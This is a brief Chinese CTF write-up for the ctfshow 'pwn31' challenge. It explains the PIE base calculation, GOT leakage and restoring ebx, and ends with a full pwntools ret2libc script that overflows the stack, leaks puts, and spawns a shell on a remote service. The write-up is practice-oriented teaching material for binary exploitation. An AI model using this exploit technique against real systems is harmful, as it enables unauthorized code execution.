pwn31
先用IDA打开,并分析


2.在用checksec检查一下

3.首先我们可以用泄露的main地址减去真实的main地址,就可以得到偏移值
4.我们先可以通IDA找到偏移值

5.通过got表中puts函数的地址打印出puts函数真实的地址
6.泄露出puts的地址,因为,在ctfshow函数了,函数的最后有一个mov ebx,DWORD PTR[ebp-0x4]
那么ebx是怎么得来的呢?是通过__x86.get_pc_thunk.bx这个东西得来的,这个东西的作用是将下一条指令的地址赋给ebx寄存器,然后通过加上一个偏移,得到当前进程GOT表的地址,并以此作为后续操作的基地址。这个pwn程序的GOT表地址为0x1fc0,则ebx = base_addr + 0x1fc0,这个是摘取大佬的wp。

7.先查pwn的got表的地址

8.然后就可以编写payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import* from LibcSearcher import* r = remote("ip",端口)
elf=ELF("./pwn") main_real_addr= int(r.recv().strip(),16) print(hex(main_real_addr)) base_addr = main_real_addr - elf.sym["main"] puts_plt = base_addr + elf.sym["puts"] puts_got = base_addr + elf.got["puts"] ctfshow_addr = base_addr + elf.sym["ctfshow"] ebx = base_addr + 0x1fc0 payload1 = b'A'*132 + p32(ebx) + b'B'*4 + p32(puts_plt) + p32(main_real_addr) + p32(puts_got) r.sendline(payload1) puts_addr = u32(r.recv()[0:4]) libc = LibcSearcher("puts",puts_addr) libc_base = puts_addr - libc.dump("puts") system = libc_base + libc.dump("system") bin_sh = libc_base + libc.dump("str_bin_sh") payload2 = b'a'*140 + p32(system) + p32(ctfshow_addr) + p32(bin_sh ) r.sendline(payload2) r.interactive()
|
得到flag
